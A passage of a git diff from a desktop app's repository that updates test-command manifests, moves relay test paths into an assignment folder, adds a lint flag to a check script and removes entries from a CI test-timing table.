src/renderer/src/components/sidebar/useAddRepoNestedImportFlow.test.ts src/renderer/src/components/sidebar/useAddRepoServerPathFlow.test.ts src/renderer/src/components/sidebar/useAddRepoCloneFlow.test.ts src/renderer/src/components/sidebar/useCreateRepo.default-checkout.test.ts src/renderer/src/components/sidebar/worktree-list/listing/host-filtering.test.ts src/renderer/src/lib/resolved-worktree-execution-host.test.ts src/renderer/src/lib/worktree-runtime-owner.test.ts src/renderer/src/store/selectors.test.ts src/renderer/src/store/slices/repos-catalog-reconciliation.test.ts src/renderer/src/store/slices/repos-project-groups.test.ts src/renderer/src/store/slices/repos-selected-owner-routing.test.ts src/renderer/src/store/slices/selected-host-active-workspace-identity.test.ts src/renderer/src/store/slices/worktrees-fetch-owner-routing.test.ts --maxWorkers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/sidebar/use-add-repo-host-selection.test.ts src/renderer/src/components/sidebar/add-repo-browse-authority.test.ts src/renderer/src/components/sidebar/AddRepoDialogStepContent.test.tsx src/renderer/src/components/sidebar/AddRepoStartSteps.test.tsx src/renderer/src/components/sidebar/useAddRepoServerPathFlow.test.ts src/renderer/src/store/slices/repos-paired-runtime-add.test.ts --maxWorkers=1", + "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/sidebar/use-add-repo-host-selection.test.ts src/renderer/src/components/sidebar/add-repo-browse-authority.test.ts src/renderer/src/components/sidebar/AddRepoStartSteps.test.tsx src/renderer/src/components/sidebar/useAddRepoServerPathFlow.test.ts src/renderer/src/store/slices/repos-paired-runtime-add.test.ts --maxWorkers=1", "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/sidebar/AddProjectFromFolderDialog.test.tsx src/renderer/src/components/sidebar/NonGitFolderDialog.test.tsx src/renderer/src/components/sidebar/AddRepoDialog.default-checkout.test.ts src/renderer/src/components/sidebar/AddRepoSteps.default-checkout.test.ts src/renderer/src/components/sidebar/project-added-default-checkout.test.ts src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts src/renderer/src/components/sidebar/useAddRepoNestedImportFlow.test.ts src/renderer/src/components/sidebar/useAddRepoServerPathFlow.test.ts src/renderer/src/components/sidebar/useAddRepoCloneFlow.test.ts src/renderer/src/components/sidebar/useCreateRepo.default-checkout.test.ts src/renderer/src/components/sidebar/worktree-list/listing/host-filtering.test.ts src/renderer/src/lib/resolved-worktree-execution-host.test.ts src/renderer/src/lib/worktree-runtime-owner.test.ts src/renderer/src/store/selectors.test.ts src/renderer/src/store/slices/repos-catalog-reconciliation.test.ts src/renderer/src/store/slices/repos-project-groups.test.ts src/renderer/src/store/slices/repos-selected-owner-routing.test.ts src/renderer/src/store/slices/selected-host-active-workspace-identity.test.ts src/renderer/src/store/slices/worktrees-fetch-owner-routing.test.ts src/renderer/src/runtime/web-runtime-session.test.ts --maxWorkers=1", "pnpm run ensure:electron-runtime && npx playwright test tests/e2e/pr11346-selected-runtime-add.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line", "pnpm run ensure:electron-runtime && npx playwright test tests/e2e/pr11346-selected-runtime-add.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", @@ -10842,7 +10842,6 @@ "src/renderer/src/components/sidebar/AddProjectFromFolderDialog.test.tsx", "src/renderer/src/components/sidebar/NonGitFolderDialog.test.tsx", "src/renderer/src/components/sidebar/AddRepoDialog.default-checkout.test.ts", - "src/renderer/src/components/sidebar/AddRepoDialogStepContent.test.tsx", "src/renderer/src/components/sidebar/AddRepoStartSteps.test.tsx", "src/renderer/src/components/sidebar/AddRepoSteps.default-checkout.test.ts", "src/renderer/src/components/sidebar/project-added-default-checkout.test.ts", @@ -10879,10 +10878,6 @@ "paired runtime browsing opens the host browser without invoking native pickFolders while desktop local and SSH routes remain intact" ] }, - { - "file": "src/renderer/src/components/sidebar/AddRepoDialogStepContent.test.tsx", - "assertions": ["paired runtime browsing renders the in-app host filesystem browser"] - }, { "file": "src/renderer/src/components/sidebar/AddRepoStartSteps.test.tsx", "assertions": [ @@ -20737,20 +20732,20 @@ "invariant": "A single-cell capacity check reads only that cell while retaining snapshot freshness, incarnation, outstanding reservation and missing-limit policy; new placement retains the full fleet inventory.", "oracle": "With 32 capped cells, an existing active host stays on its pinned cell and reads one headroom row; new placement reads all 32. Missing, expired or prior-incarnation snapshots, capacity exhaustion and outstanding debt still refuse the active pinned host; an uncapped cell remains admissible.", "commands": [ - "ORCA_BACKGROUND_LAUNCH=1 pnpm --dir cloud/apps/relay exec vitest run ../../../cloud/apps/relay/src/assignment-headroom-scope.test.ts ../../../cloud/apps/relay/src/assignment-connection-headroom.test.ts ../../../cloud/apps/relay/src/assignment-store.test.ts ../../../cloud/apps/relay/src/assignment-store-lock-order.test.ts ../../../cloud/apps/relay/src/cell-inventory-lock-contention.test.ts ../../../cloud/apps/relay/src/assignment-isolated-cell-replacement.test.ts ../../../cloud/apps/relay/src/regional-rehome-target-selection.test.ts --silent=false" + "ORCA_BACKGROUND_LAUNCH=1 pnpm --dir cloud/apps/relay exec vitest run ../../../cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts ../../../cloud/apps/relay/src/assignment/assignment-connection-headroom.test.ts ../../../cloud/apps/relay/src/assignment-store.test.ts ../../../cloud/apps/relay/src/assignment/assignment-store-lock-order.test.ts ../../../cloud/apps/relay/src/cell-inventory-lock-contention.test.ts ../../../cloud/apps/relay/src/assignment-isolated-cell-replacement.test.ts ../../../cloud/apps/relay/src/regional-rehome-target-selection.test.ts --silent=false" ], "testFiles": [ - "cloud/apps/relay/src/assignment-headroom-scope.test.ts", - "cloud/apps/relay/src/assignment-connection-headroom.test.ts", + "cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts", + "cloud/apps/relay/src/assignment/assignment-connection-headroom.test.ts", "cloud/apps/relay/src/assignment-store.test.ts", - "cloud/apps/relay/src/assignment-store-lock-order.test.ts", + "cloud/apps/relay/src/assignment/assignment-store-lock-order.test.ts", "cloud/apps/relay/src/cell-inventory-lock-contention.test.ts", "cloud/apps/relay/src/assignment-isolated-cell-replacement.test.ts", "cloud/apps/relay/src/regional-rehome-target-selection.test.ts" ], "assertionRefs": [ { - "file": "cloud/apps/relay/src/assignment-headroom-scope.test.ts", + "file": "cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts", "assertions": [ "reads one cell for a sticky assignment even when the capped fleet grows", "still considers the full fleet for a new placement", @@ -20765,7 +20760,7 @@ "date": "2026-09-25", "runner": "local", "platform": "macos", - "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm --dir cloud/apps/relay exec vitest run ../../../cloud/apps/relay/src/assignment-headroom-scope.test.ts ../../../cloud/apps/relay/src/assignment-connection-headroom.test.ts ../../../cloud/apps/relay/src/assignment-store.test.ts ../../../cloud/apps/relay/src/assignment-store-lock-order.test.ts ../../../cloud/apps/relay/src/cell-inventory-lock-contention.test.ts ../../../cloud/apps/relay/src/assignment-isolated-cell-replacement.test.ts ../../../cloud/apps/relay/src/regional-rehome-target-selection.test.ts --silent=false", + "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm --dir cloud/apps/relay exec vitest run ../../../cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts ../../../cloud/apps/relay/src/assignment/assignment-connection-headroom.test.ts ../../../cloud/apps/relay/src/assignment-store.test.ts ../../../cloud/apps/relay/src/assignment/assignment-store-lock-order.test.ts ../../../cloud/apps/relay/src/cell-inventory-lock-contention.test.ts ../../../cloud/apps/relay/src/assignment-isolated-cell-replacement.test.ts ../../../cloud/apps/relay/src/regional-rehome-target-selection.test.ts --silent=false", "result": "passed", "durationSeconds": 0.513, "summary": "189 tests across seven files passed; independent root rerun also passed189 tests. Relay typecheck passed separately." diff --git a/config/scripts/check-changed.mjs b/config/scripts/check-changed.mjs index b6484af51d7..150dd8d0c93 100644 --- a/config/scripts/check-changed.mjs +++ b/config/scripts/check-changed.mjs @@ -186,7 +186,12 @@ function buildTasks(root, plan, { files, mergeBase, maxWorkers, bun }) { tasks.push({ name: 'oxlint', steps: [ - step(oxlint.command, [...oxlint.prefixArgs, '--quiet', ...(wholeTree ? [] : lintable)]), + step(oxlint.command, [ + ...oxlint.prefixArgs, + '--quiet', + '--no-error-on-unmatched-pattern', + ...(wholeTree ? [] : lintable) + ]), ...(antiSlop.length > 0 ? [ step(node, ['config/scripts/sync-anti-slop-plugin.mjs']), diff --git a/config/scripts/ci-shard-timings.json b/config/scripts/ci-shard-timings.json index 39a921b4adb..6dc880d03f8 100644 --- a/config/scripts/ci-shard-timings.json +++ b/config/scripts/ci-shard-timings.json @@ -1697,7 +1697,6 @@ "src/main/codex-accounts/service-device-code-login.test.ts": 437, "src/main/codex-accounts/service-login-process-teardown.test.ts": 452, "src/main/codex-accounts/service-managed-home-identity.test.ts": 355, - "src/main/codex-accounts/service-managed-home-removal-retries.test.ts": 278, "src/main/codex-accounts/service-quota-refresh-decoupling.test.ts": 421, "src/main/codex-accounts/service-reauthenticate-activation.test.ts": 318, "src/main/codex-accounts/service-reset-credit-durability.test.ts": 767, @@ -1777,7 +1776,6 @@ "src/main/codex/codex-hook-trust-failure-memo.test.ts": 242, "src/main/codex/codex-hook-trust-grant.test.ts": 681, "src/main/codex/codex-hook-trust-memo.test.ts": 165, - "src/main/codex/codex-hooks-read-denial-followup.test.ts": 324, "src/main/codex/codex-index-heal-binary-contract.test.ts": 121, "src/main/codex/codex-interrupt-hook-trust.test.ts": 104, "src/main/codex/codex-legacy-session-resume.test.ts": 188, @@ -1813,7 +1811,6 @@ "src/main/codex/codex-session-resume-preparation.test.ts": 75, "src/main/codex/codex-session-resume-windows.test.ts": 57, "src/main/codex/codex-session-resume-wrong-account.test.ts": 65, - "src/main/codex/codex-session-source-home.test.ts": 37, "src/main/codex/codex-shared-server-fix.test.ts": 63, "src/main/codex/codex-shared-server-pane.test.ts": 66, "src/main/codex/codex-shared-server-probe.test.ts": 120, @@ -1948,7 +1945,6 @@ "src/main/computer/desktop-script-provider-bridge.test.ts": 59, "src/main/computer/desktop-script-provider-cache-lifecycle.test.ts": 70, "src/main/computer/desktop-script-provider-cache.test.ts": 109, - "src/main/computer/desktop-script-provider-client.test.ts": 237, "src/main/computer/desktop-script-provider-errors.test.ts": 279, "src/main/computer/desktop-script-provider-paste-validation.test.ts": 93, "src/main/computer/desktop-script-provider-paths.test.ts": 69, @@ -2322,7 +2318,6 @@ "src/main/emulator/scrcpy-video-registry.test.ts": 57, "src/main/emulator/serve-sim-accessibility-tree.test.ts": 62, "src/main/emulator/serve-sim-ax-normalization.test.ts": 35, - "src/main/emulator/serve-sim-execution.test.ts": 64, "src/main/emulator/serve-sim-helper-processes.test.ts": 59, "src/main/emulator/serve-sim-kill-contract.test.ts": 1307, "src/main/emulator/serve-sim-runtime-materializer.test.ts": 106, @@ -2562,7 +2557,6 @@ "src/main/git/wsl-windows-checkout-sample-script.test.ts": 107, "src/main/gitea/client-scan-invalidation.test.ts": 485, "src/main/gitea/client.test.ts": 385, - "src/main/gitea/pull-request-creation.test.ts": 293, "src/main/gitea/repository-ref.test.ts": 436, "src/main/github/account-binding-required-host.test.ts": 220, "src/main/github/auth-diagnose.test.ts": 58, @@ -2583,7 +2577,6 @@ "src/main/github/client-pr-local-runtime.test.ts": 432, "src/main/github/client-pr-lookup-coalescing.test.ts": 627, "src/main/github/client-pr-push-target.test.ts": 449, - "src/main/github/client-pr-state.test.ts": 533, "src/main/github/client-rate-limit-block.test.ts": 393, "src/main/github/client-ssh-provider-execution-boundary.test.ts": 534, "src/main/github/client-stack-merge-guard.test.ts": 422, @@ -2624,7 +2617,6 @@ "src/main/github/github-repository-identity.gh-account.test.ts": 623, "src/main/github/github-repository-identity.signed-cache.test.ts": 526, "src/main/github/github-repository-identity.ssh-host-alias.test.ts": 490, - "src/main/github/issue-mutation-source.test.ts": 553, "src/main/github/issues.test.ts": 511, "src/main/github/pr-head-tracking-ref.test.ts": 59, "src/main/github/pr-mutation-review-invalidation.test.ts": 2171, @@ -2658,7 +2650,6 @@ "src/main/github/work-item-details-config-change.test.ts": 563, "src/main/github/work-item-details-enterprise-host.test.ts": 372, "src/main/github/work-item-details-file-viewed.test.ts": 487, - "src/main/github/work-item-details-issue-source.test.ts": 76, "src/main/github/work-item-details-pr-files.test.ts": 535, "src/main/github/work-item-details.test.ts": 428, "src/main/github/work-item-search-fallback-environment.test.ts": 463, @@ -2711,7 +2702,6 @@ "src/main/hook-termination-real-process.test.ts": 3176, "src/main/hooks-archive-exit-observation.test.ts": 229, "src/main/hooks-effective-hook-resolution.test.ts": 249, - "src/main/hooks-issue-command.test.ts": 307, "src/main/hooks-orca-yaml-parsing.test.ts": 366, "src/main/hooks-orca-yaml-unc-drive.test.ts": 316, "src/main/hooks-runner.test.ts": 193, @@ -2862,7 +2852,6 @@ "src/main/ipc/folder-repo-git-upgrade.test.ts": 2155, "src/main/ipc/freebuff-detection.test.ts": 26, "src/main/ipc/git-status-upstream-ref-watch-request.test.ts": 759, - "src/main/ipc/github-issue-source-preference.test.ts": 688, "src/main/ipc/github-pr-refresh-routing.test.ts": 583, "src/main/ipc/github-repo-access-guards.test.ts": 614, "src/main/ipc/github-repo-routing-twin-host.test.ts": 91, @@ -2907,7 +2896,6 @@ "src/main/ipc/notifications-workspace-click-binding.test.ts": 346, "src/main/ipc/opencode-go-credentials.test.ts": 42, "src/main/ipc/orca-profile-auth-handlers.test.ts": 492, - "src/main/ipc/orca-profile-org-members-handlers.test.ts": 47, "src/main/ipc/orca-profiles-switch-persistence.test.ts": 2326, "src/main/ipc/orca-profiles.test.ts": 691, "src/main/ipc/parcel-watcher-crash-fuse-recovery.test.ts": 118, @@ -2955,7 +2943,6 @@ "src/main/ipc/pty/host-env/spawn-cwd-hung-folder.test.ts": 577, "src/main/ipc/pty/host-env/spawn-cwd-wsl-move.test.ts": 250, "src/main/ipc/pty/host-env/startup-cwd-directory-exists.test.ts": 74, - "src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts": 42, "src/main/ipc/pty/ipc/claude-old-terminal.test.ts": 41, "src/main/ipc/pty/ipc/closed-pane-spawn-refusal.test.ts": 161, "src/main/ipc/pty/ipc/codex-shared-server.test.ts": 81, @@ -3050,7 +3037,6 @@ "src/main/ipc/pty/spawn-options-agent-workspace-trust.test.ts": 642, "src/main/ipc/qoder-desktop-execution-host.test.ts": 3315, "src/main/ipc/qoder-independent-renderer-spawn-review.test.ts": 3959, - "src/main/ipc/readdir-error-diagnostics.test.ts": 29, "src/main/ipc/rebinding-file-watch-noise.test.ts": 1071, "src/main/ipc/rebinding-file-watch.test.ts": 4132, "src/main/ipc/register-core-handlers/register-core-handlers.test.ts": 706, @@ -3069,7 +3055,6 @@ "src/main/ipc/repos-local-clone-lifecycle.test.ts": 1322, "src/main/ipc/repos-nested-import.test.ts": 1224, "src/main/ipc/repos-nested-scan.test.ts": 933, - "src/main/ipc/repos-picker.test.ts": 1077, "src/main/ipc/repos-remote-base-ref-queries.test.ts": 1138, "src/main/ipc/repos-remote-client-events.test.ts": 1301, "src/main/ipc/repos-sparse-presets.test.ts": 1238, @@ -3396,7 +3381,6 @@ "src/main/managed-server/install/orcad-remote-runtime.test.ts": 531, "src/main/managed-server/install/orcad-remote-shell-commands.integration.test.ts": 9405, "src/main/managed-server/install/orcad-remote-windows-commands.test.ts": 242, - "src/main/managed-server/install/orcad-remote-windows-decommission.test.ts": 319, "src/main/managed-server/install/orcad-remote-windows-scripts.test.ts": 3133, "src/main/managed-server/install/remote-install-gc-claim-termination.test.ts": 156, "src/main/managed-server/install/remote-install-gc-termination.test.ts": 120, @@ -3999,7 +3983,6 @@ "src/main/orcad/orcad-managed-stop-identity.test.ts": 156, "src/main/orcad/orcad-managed-stop.test.ts": 1249, "src/main/orcad/orcad-migration-wsl-destination.test.ts": 63, - "src/main/orcad/orcad-native-preflight.test.ts": 161, "src/main/orcad/orcad-node-launcher.integration.test.ts": 90, "src/main/orcad/orcad-observability.test.ts": 229, "src/main/orcad/orcad-packaged-node-pty.integration.test.ts": 46, @@ -4522,7 +4505,6 @@ "src/main/pty/codex-shell-no-daemon.test.ts": 8257, "src/main/pty/conda-activation-env.test.ts": 44, "src/main/pty/legacy-terminal-shim-dir.test.ts": 183, - "src/main/pty/legacy-terminal-windows-tombstone.test.ts": 49, "src/main/pty/managed-ssh-host-login-shell.test.ts": 40, "src/main/pty/node-pty-master-fd-retirement.test.ts": 2376, "src/main/pty/overlay-mirror.test.ts": 73, @@ -4870,7 +4852,6 @@ "src/main/runtime/mobile-pairing-qr.test.ts": 694, "src/main/runtime/mobile-pairing-userdata-path.test.ts": 1791, "src/main/runtime/mobile-presence-lock.test.ts": 16606, - "src/main/runtime/mobile-rpc-allowlist.test.ts": 2610, "src/main/runtime/mobile-session-chat-tab-order.test.ts": 96, "src/main/runtime/mobile-session-editor-projection.test.ts": 42, "src/main/runtime/mobile-session-resume-identity.test.ts": 4735, @@ -5432,7 +5413,6 @@ "src/main/runtime/rpc/methods/workspace-layout-apply.test.ts": 5567, "src/main/runtime/rpc/methods/workspace-layout-paired-desktop.test.ts": 41277, "src/main/runtime/rpc/methods/workspace-layout.test.ts": 1673, - "src/main/runtime/rpc/methods/workspace-ports.test.ts": 648, "src/main/runtime/rpc/methods/worktree-catalog-snapshot-method.test.ts": 1270, "src/main/runtime/rpc/methods/worktree-create-args.test.ts": 193, "src/main/runtime/rpc/methods/worktree-create-navigation.test.ts": 1474, @@ -5488,7 +5468,6 @@ "src/main/runtime/rpc/terminal-agent-prompt-send.test.ts": 1761, "src/main/runtime/rpc/terminal-agent-send-guard.test.ts": 1295, "src/main/runtime/rpc/terminal-claude-agent-view.test.ts": 1058, - "src/main/runtime/rpc/terminal-geometry-stale-handle.test.ts": 1168, "src/main/runtime/rpc/terminal-lease-stale-handle-survival.test.ts": 1201, "src/main/runtime/rpc/terminal-multiplex-ack-output-budget.test.ts": 1505, "src/main/runtime/rpc/terminal-multiplex-ack-overflow-recovery-history.test.ts": 1306, @@ -5564,7 +5543,6 @@ "src/main/runtime/runtime-file-upload-decode.test.ts": 255, "src/main/runtime/runtime-folder-workspace-delete-lifecycle.test.ts": 3681, "src/main/runtime/runtime-folder-workspace.test.ts": 71, - "src/main/runtime/runtime-folder-worktree-create.test.ts": 107, "src/main/runtime/runtime-git-conflict-operation-routing.test.ts": 507, "src/main/runtime/runtime-git-execution-host-ownership.test.ts": 702, "src/main/runtime/runtime-git-generation-admission.test.ts": 560, @@ -6311,7 +6289,6 @@ "src/main/startup/cli-launch-redirect.test.ts": 120, "src/main/startup/cloud-session-shutdown-flush.test.ts": 77, "src/main/startup/codex-account-restart-resume.test.ts": 329, - "src/main/startup/codex-hook-startup-wiring.test.ts": 1174, "src/main/startup/codex-launch-per-agent-hook-opt-out.test.ts": 144, "src/main/startup/codex-session-resume-daemon-guard.test.ts": 117, "src/main/startup/configure-process-dev-parent-shutdown.test.ts": 95, @@ -6319,7 +6296,6 @@ "src/main/startup/configure-process.test.ts": 178, "src/main/startup/desktop-profile-instance-lock.test.ts": 167, "src/main/startup/dev-education-suppression.test.ts": 110, - "src/main/startup/dev-instance-identity.test.ts": 73, "src/main/startup/ensure-virtual-display.test.ts": 70, "src/main/startup/first-window-startup-services.test.ts": 34, "src/main/startup/gpu-fallback-marker.test.ts": 48, @@ -6330,13 +6306,10 @@ "src/main/startup/hydrate-shell-path.test.ts": 471, "src/main/startup/hydrate-shell-path.windows.test.ts": 434, "src/main/startup/legacy-worker-renderer-recovery.test.ts": 51, - "src/main/startup/linux-dev-shm-policy.test.ts": 48, "src/main/startup/linux-keyring-backend-selection.test.ts": 39, - "src/main/startup/linux-secret-service-probe.test.ts": 41, "src/main/startup/login-shell-environment-cache.test.ts": 111, "src/main/startup/login-shell-environment.test.ts": 80, "src/main/startup/main-process-error-guards.test.ts": 73, - "src/main/startup/main-process-observers-hang-breadcrumb.test.ts": 158, "src/main/startup/main-process-quit-pending-writer.test.ts": 426, "src/main/startup/main-process-quit-update-veto.test.ts": 486, "src/main/startup/main-process-ready-activation-failure.test.ts": 117, @@ -6522,7 +6495,6 @@ "src/main/window/createMainWindow-renderer-crash-recovery.test.ts": 1486, "src/main/window/createMainWindow-renderer-launch-failure.test.ts": 2008, "src/main/window/createMainWindow-startup-reveal.test.ts": 1416, - "src/main/window/createMainWindow-system-resume-relay.test.ts": 2222, "src/main/window/createMainWindow-terminal-focus-shortcuts.test.ts": 1546, "src/main/window/createMainWindow-tray-minimize-close.test.ts": 1482, "src/main/window/createMainWindow-user-quit-close.test.ts": 1489, @@ -6533,7 +6505,6 @@ "src/main/window/dragged-temp-file-copy.test.ts": 137, "src/main/window/dropped-path-preparation-ipc.test.ts": 106, "src/main/window/dropped-path-preparation.test.ts": 586, - "src/main/window/editable-context-menu.test.ts": 39, "src/main/window/focus-existing-window.test.ts": 49, "src/main/window/foreground-activation-policy.test.ts": 39, "src/main/window/history-gc-worktree-ids.test.ts": 228, @@ -6692,7 +6663,6 @@ "src/main/wsl/wsl-runner.wsl.test.ts": 64, "src/main/wsl/wsl-unc-drive-file-content.test.ts": 33, "src/main/wsl/wsl-unc-drive-fs-path.test.ts": 40, - "src/main/wsl/wsl-w1-w3-contract.test.ts": 54, "src/main/zcode/hook-service.test.ts": 107, "src/main/zcode/interactive-capability.live.test.ts": 55, "src/main/zcode/zcode-plan-api-key-store-native-windows.test.ts": 32, @@ -7104,7 +7074,6 @@ "src/renderer/src/components/contextual-tours/contextual-tour-overlay-measurement.test.ts": 258, "src/renderer/src/components/contextual-tours/contextual-tour-step-actions.test.ts": 55, "src/renderer/src/components/contextual-tours/request-contextual-tour-when-ready.test.ts": 1380, - "src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts": 1525, "src/renderer/src/components/contextual-tours/workspace-creation-tour-handoff.test.ts": 1390, "src/renderer/src/components/crash-report/crash-report-submit-notice.test.ts": 124, "src/renderer/src/components/crash-report/use-crash-report-copy.test.tsx": 358, @@ -7556,7 +7525,6 @@ "src/renderer/src/components/feature-tips/feature-tip-startup-gate.test.ts": 105, "src/renderer/src/components/feature-tips/use-session-search-tip-setup.test.tsx": 520, "src/renderer/src/components/feature-wall/AgentCapabilitiesSetupAction.test.ts": 1690, - "src/renderer/src/components/feature-wall/ConnectIntegrationsList.test.tsx": 663, "src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx": 1589, "src/renderer/src/components/feature-wall/FullDiskAccessSetupPrompt.test.ts": 695, "src/renderer/src/components/feature-wall/browser-animated-visual-sequence.test.ts": 42, @@ -7929,7 +7897,6 @@ "src/renderer/src/components/native-chat/use-native-chat-draft.test.tsx": 395, "src/renderer/src/components/native-chat/use-native-chat-external-attachments.test.tsx": 671, "src/renderer/src/components/native-chat/use-native-chat-file-link-click.test.tsx": 941, - "src/renderer/src/components/native-chat/use-native-chat-file-link-existence.test.tsx": 907, "src/renderer/src/components/native-chat/use-native-chat-find.test.tsx": 1160, "src/renderer/src/components/native-chat/use-native-chat-font-size.test.tsx": 680, "src/renderer/src/components/native-chat/use-native-chat-hook-status.test.ts": 1672, @@ -7999,7 +7966,6 @@ "src/renderer/src/components/native-chat/use-structured-agent-session-transport-state.working.test.tsx": 395, "src/renderer/src/components/native-chat/use-structured-agent-session-write-refusal.test.tsx": 2087, "src/renderer/src/components/native-chat/use-structured-agent-session.clear-send.test.tsx": 2827, - "src/renderer/src/components/native-chat/use-structured-agent-session.cut-turn-notice.test.tsx": 1855, "src/renderer/src/components/native-chat/use-structured-agent-session.queue-while-stopping.test.tsx": 2337, "src/renderer/src/components/native-chat/use-structured-agent-session.queued-gating.test.tsx": 2062, "src/renderer/src/components/native-chat/use-structured-agent-session.rejected-card.test.tsx": 2333, @@ -8047,7 +8013,6 @@ "src/renderer/src/components/onboarding/windows-terminal-onboarding-telemetry.test.ts": 49, "src/renderer/src/components/pet/PetOverlay.pointer-interaction.test.tsx": 195, "src/renderer/src/components/pet/pet-blob-cache.test.ts": 55, - "src/renderer/src/components/pet/pet-overlay-hit-area.test.tsx": 228, "src/renderer/src/components/pet/pet-overlay-visibility.test.ts": 46, "src/renderer/src/components/pet/sprite-animation-css.test.ts": 44, "src/renderer/src/components/pet/usePetPointerInteraction.test.ts": 257, @@ -8091,7 +8056,6 @@ "src/renderer/src/components/right-sidebar/AiVaultSessionVirtualList.measurement.test.tsx": 2554, "src/renderer/src/components/right-sidebar/AiVaultVirtualRow.test.tsx": 2253, "src/renderer/src/components/right-sidebar/ChecksPanel.updated-at-metadata.test.tsx": 243, - "src/renderer/src/components/right-sidebar/CommitArea.chevron-spinner.test.tsx": 1564, "src/renderer/src/components/right-sidebar/CommitArea.generate.test.tsx": 1781, "src/renderer/src/components/right-sidebar/CommitArea.test.tsx": 8618, "src/renderer/src/components/right-sidebar/FileExplorerFilesTreePane.errors.test.tsx": 3001, @@ -8121,7 +8085,6 @@ "src/renderer/src/components/right-sidebar/SourceControl.resolve-conflicts-prompt.test.ts": 96, "src/renderer/src/components/right-sidebar/SourceControl.virtual-file-list.test.tsx": 3910, "src/renderer/src/components/right-sidebar/SourceControlAgentActionDialog.test.tsx": 7135, - "src/renderer/src/components/right-sidebar/SourceControlAgentActionDialogForm.test.tsx": 191, "src/renderer/src/components/right-sidebar/SourceControlTextGenerationDialog.test.ts": 495, "src/renderer/src/components/right-sidebar/active-checks-status.test.ts": 1264, "src/renderer/src/components/right-sidebar/activity-bar-buttons.test.tsx": 190, @@ -8137,7 +8100,6 @@ "src/renderer/src/components/right-sidebar/ai-vault-scope-paths.test.ts": 65, "src/renderer/src/components/right-sidebar/ai-vault-scope-state.test.ts": 30, "src/renderer/src/components/right-sidebar/ai-vault-search-hit-hosts.test.ts": 45, - "src/renderer/src/components/right-sidebar/ai-vault-search-scope-identity.test.tsx": 479, "src/renderer/src/components/right-sidebar/ai-vault-search-session.test.ts": 88, "src/renderer/src/components/right-sidebar/ai-vault-session-cli-fork.test.ts": 1630, "src/renderer/src/components/right-sidebar/ai-vault-session-conditional-refresh-hook.test.tsx": 1736, @@ -8183,7 +8145,6 @@ "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-foreground-effects.test.tsx": 228, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-generation.test.tsx": 1570, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-git-status-effects.test.tsx": 160, - "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx": 1589, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-polling-stability.test.tsx": 1574, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-polling.test.tsx": 1222, "src/renderer/src/components/right-sidebar/coalesced-poll-runner.test.ts": 38, @@ -8264,12 +8225,9 @@ "src/renderer/src/components/right-sidebar/source-control-create-review-blocked-action.test.ts": 148, "src/renderer/src/components/right-sidebar/source-control-created-review-link.test.ts": 57, "src/renderer/src/components/right-sidebar/source-control-discard-confirmation.test.ts": 118, - "src/renderer/src/components/right-sidebar/source-control-discard-dialog.test.tsx": 196, "src/renderer/src/components/right-sidebar/source-control-dropdown-items.create-pr-intent.test.ts": 163, "src/renderer/src/components/right-sidebar/source-control-dropdown-items.test.ts": 256, - "src/renderer/src/components/right-sidebar/source-control-entry-context-menu.test.tsx": 367, "src/renderer/src/components/right-sidebar/source-control-file-filter.test.ts": 46, - "src/renderer/src/components/right-sidebar/source-control-header-toolbar-identity.test.tsx": 346, "src/renderer/src/components/right-sidebar/source-control-hosted-review-creation-eligibility-snapshot.test.ts": 87, "src/renderer/src/components/right-sidebar/source-control-hosted-review-push-target.test.ts": 52, "src/renderer/src/components/right-sidebar/source-control-huge-repo-warning-dismissals.test.ts": 150, @@ -8280,7 +8238,6 @@ "src/renderer/src/components/right-sidebar/source-control-push-recovery.test.ts": 35, "src/renderer/src/components/right-sidebar/source-control-recovery-admission.test.ts": 131, "src/renderer/src/components/right-sidebar/source-control-section-order.test.ts": 69, - "src/renderer/src/components/right-sidebar/source-control-split-open.test.ts": 52, "src/renderer/src/components/right-sidebar/source-control-submodule-expansion.test.ts": 46, "src/renderer/src/components/right-sidebar/source-control-too-many-changes-banner.test.tsx": 632, "src/shared/source-control-tree.test.ts": 57, @@ -8289,7 +8246,6 @@ "src/renderer/src/components/right-sidebar/source-control/commit/rename-mutation-paths.test.ts": 70, "src/renderer/src/components/right-sidebar/source-control/commit/source-control-discard-editor-owner.test.tsx": 527, "src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-failure-toast.test.ts": 282, - "src/renderer/src/components/right-sidebar/source-control/commit/source-control-entry-mutation-failures.test.tsx": 514, "src/renderer/src/components/right-sidebar/source-control/commit/use-bulk-actions-capped-stage.test.tsx": 1547, "src/renderer/src/components/right-sidebar/source-control/commit/use-commit-message-generation.cancel.test.ts": 1660, "src/renderer/src/components/right-sidebar/source-control/listing/content-status.test.tsx": 269, @@ -8390,7 +8346,6 @@ "src/renderer/src/components/settings/CloudVmSetupGuide.test.tsx": 1716, "src/renderer/src/components/settings/CodexLoginLinkNotice.test.tsx": 541, "src/renderer/src/components/settings/CommitMessageAiPane.test.tsx": 1913, - "src/renderer/src/components/settings/DefaultWindowsProjectRuntimeSetting.test.tsx": 337, "src/renderer/src/components/settings/DeveloperPermissionsPane.test.tsx": 1754, "src/renderer/src/components/settings/EphemeralVmRuntimesSection.test.tsx": 2771, "src/renderer/src/components/settings/EphemeralVmsPane.test.tsx": 803, @@ -8403,7 +8358,6 @@ "src/renderer/src/components/settings/HostAccountSignInPrompt.test.tsx": 158, "src/renderer/src/components/settings/HostAgentLaunchSettings.test.tsx": 4184, 